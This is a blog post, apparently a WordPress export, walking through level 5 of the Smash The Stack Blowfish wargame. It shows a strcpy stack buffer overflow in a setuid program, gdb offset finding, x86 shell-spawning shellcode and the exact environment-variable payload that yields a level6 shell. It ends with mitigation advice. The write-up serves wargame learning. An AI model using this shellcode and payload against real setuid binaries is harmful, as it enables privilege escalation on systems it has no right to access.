{"id":133,"date":"2012-07-30T13:00:06","date_gmt":"2012-07-30T20:00:06","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=133"},"modified":"2012-07-31T02:07:26","modified_gmt":"2012-07-31T09:07:26","slug":"blowfish-level-5-more-stack-smashing","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=133","title":{"rendered":"Blowfish Level 5 – More Stack Smashing"},"content":{"rendered":"

Today we’re going to be looking at the Blowfish<\/a> wargame from Smash The Stack<\/a>, working on level 5. \u00a0As always, the password will be stripped from this page and replaced with Y’s. \u00a0To begin, let’s use the password we got at the end of level 4 to ssh into Blowfish as level5. \u00a0Upon logging in, we are told that this level is another buffer overflow located at \/levels\/level5, so let’s get a directory listing and see what we’re working with today:<\/p>\n

level5@blowfish:~$ ls -la \/levels | grep level5
\n-r-sr-x— 1 level5 level4 11775 2006-10-09 18:02 level4
\n-r-sr-x— 1 level6 level5 12142 2006-10-09 18:02 level5
\n-r——– 1 level5 level5 272 2006-10-09 18:02 level5.c<\/p><\/blockquote>\n

Ok, looks like we have the correct SUID executable at \/home\/level5. \u00a0We also have what looks to be the programs source code. \u00a0So, let’s look at that source code:<\/p>\n

level5@blowfish:~$ more \/levels\/level5.c
\n#include <stdio.h><\/p>\n

int main()
\n{
\nchar buffer[1024];<\/p>\n

if (getenv(“VULN”) == NULL) {
\nfprintf(stderr,”Try Again!!\\n”);
\nexit(1); }<\/p>\n

strcpy(buffer, (char *)getenv(“VULN”));<\/p>\n

printf(“Environment variable VULN is:\\n\\”%s\\”.\\n\\n”, buffer);
\nreturn 0;
\n}<\/p><\/blockquote>\n

Looking at the code we see there is a 1024 byte buffer created. \u00a0Next, the program checks that the environmental variable “VULN” exists, if not the program gives an error and exits. \u00a0Next, strcpy is used to copy the contents of the environmental variable “VULN” into our 1024 byte buffer we created earlier. \u00a0Finally the contents of the buffer is written to the screen with printf.<\/p>\n

Looking at the code we can see that there is unsafe use of the strcpy function. \u00a0Since the two variable version is used, which doesn’t support a max number of characters to copy, if the environmental variable “VULN” is longer than 1024 bytes the buffer will be overflows and could result in arbitrary code execution. \u00a0This sounds like a good avenue of attack, so let’s look into it further.<\/p>\n

All we should have to do is write the correct string to the environmental variable “VULN”, so let’s make an attempt. \u00a0We know we need VULN to be at least 1024 bytes long, and that there will be a few extra bytes based on the compiler. \u00a0So let’s take a guess at about 1024 + 20 = 1044 bytes of padding. \u00a0This can be done easily with perl as follows:<\/p>\n

level5@blowfish:~$ export VULN=`perl -e ‘print “A”x1044,”BBBB”‘`<\/p><\/blockquote>\n

Now let’s run the program and see what happens. \u00a0If the string we assigned to VULN was long enough, we should expect to get a Segmentation fault:<\/p>\n

level5@blowfish:~$ \/levels\/level5
\nEnvironment variable VULN is:
\n“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”.<\/p>\n

Segmentation fault<\/p><\/blockquote>\n

Great, just what we wanted. \u00a0Now let’s load up gdb and see if we can determine the exact number of bytes we need to write before we overwrite the return address of the call stack:<\/p>\n

level5@blowfish:~$ gdb \/levels\/level5
\n…
\n(gdb) run
\nStarting program: \/levels\/level5
\nEnvironment variable VULN is:
\n“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”.
\nProgram received signal SIGSEGV, Segmentation fault.
\n0x41414141 in ?? ()
\n(gdb) quit<\/p><\/blockquote>\n

Alright. \u00a0Those familiar with gdb should know that the final 0x41414141 towards the bottom represents the location in memory which the program tried to execute before blowing up. \u00a0This is the “address” which was the return address on the call stack before the program quit. \u00a0The reason for the value of 41414141 is that it was overwritten with the 32 bit ascii string “AAAA” as 41 is the hex value of ascii “A”. \u00a0So let’s reduce the number of A’s we’re writing to try and position the four B’s directly over the return address. \u00a0To do this we need to go back to the shell and re-assign the value to VULN, then we can try gdb again:<\/p>\n

level5@blowfish:~$ export VULN=`perl -e ‘print “A”x1036,”BBBB”‘`
\nlevel5@blowfish:~$ gdb \/levels\/level5
\n…
\n(gdb) run
\nStarting program: \/levels\/level5
\nEnvironment variable VULN is:
\n“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”.
\nProgram received signal SIGSEGV, Segmentation fault.
\n0x42424242 in ?? ()
\n(gdb) quit<\/p><\/blockquote>\n

Aha! \u00a0What a lucky guess on the second try. \u00a0So we must write 1036 bytes into the buffer before we start overwriting the return address. \u00a0The next thing we need to do is get our shell code, put it in memory, and get the starting memory address. \u00a0However, let’s try something different this level instead of last. \u00a0Let’s try and place our shell code in the environmental variable VULN, it’s certainly long enough. \u00a0First, let’s make our C program to get the memory location of an environmental variable:<\/p>\n

#include <stdio.h>
\n#include <stdlib.h><\/p>\n

int main(int argc, char *argv[])
\n{
\nif(!argv[1])
\nexit(1);
\nprintf(“%#x\\n”, getenv(argv[1]));
\nreturn 0;
\n}<\/p><\/blockquote>\n

Now let’s go ahead and check where VULN is located:<\/p>\n

level5@blowfish:~$ \/tmp\/.getmem VULN
\n0xbfffdab4<\/p><\/blockquote>\n

Now, let’s look at our shell code. \u00a0Most importantly, we need to know how many byte it is:<\/p>\n

\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90
\n\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89
\n\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f
\n\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53
\n\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80<\/p><\/blockquote>\n

Counting it up, it looks like it’s going to be 52 bytes. \u00a0So 1036 – 52 = 984. \u00a0So we’ll need 984 A’s after the shell code. \u00a0Also, instead of having B’s at the end, we need to write the memory location of our shell code. \u00a0So let’s look at defining VULN again:<\/p>\n

level5@blowfish:~$ export VULN=$’\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90
\n\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb
\n\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f
\n\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89
\n\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80’`perl -e ‘print “A”x984,”\\xba\\xda\\xff\\xbf”‘`<\/p><\/blockquote>\n

Now that we have our shell code in memory and our overflow string determined, we can go a head and try to execute the vulnerable program:<\/p>\n

level5@blowfish:~$ \/levels\/level5
\nEnvironment variable VULN is:
\n“1\u00db\u00d8\u00b0\u00cd1\u00db\u00d8\u00b0.\u00cd1\u00c0Ph\/\/shh\/bin\u00e3PS\u00e11\u00d2\u00b0
\n\u00cdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u00ba\u00da\u00ff\u00bf”.<\/p>\n

sh-3.2$ whoami
\nlevel6
\nsh-3.2$ more \/pass\/level6
\nYYYYYYYYYY<\/p><\/blockquote>\n

To avoid this attack, proper use of strcpy is recommended. \u00a0There is a different version of strcpy than the one used here which takes as a third parameter the maximum number of characters to copy. \u00a0Using that and providing the length of the buffer (minus one, don’t forget the null character at the end of a char buffer to mark the end of a string) would prevent these types of buffer overflow attacks.<\/p>\n","protected":false},"excerpt":{"rendered":"

Today we’re going to be looking at the Blowfish wargame from Smash The Stack, working on level 5. \u00a0As always, the password will be stripped from this page and replaced with Y’s. \u00a0To begin, let’s use the password we got … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,6,4],"tags":[51,27,49,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/133"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=133"}],"version-history":[{"count":4,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/133\/revisions"}],"predecessor-version":[{"id":135,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/133\/revisions\/135"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}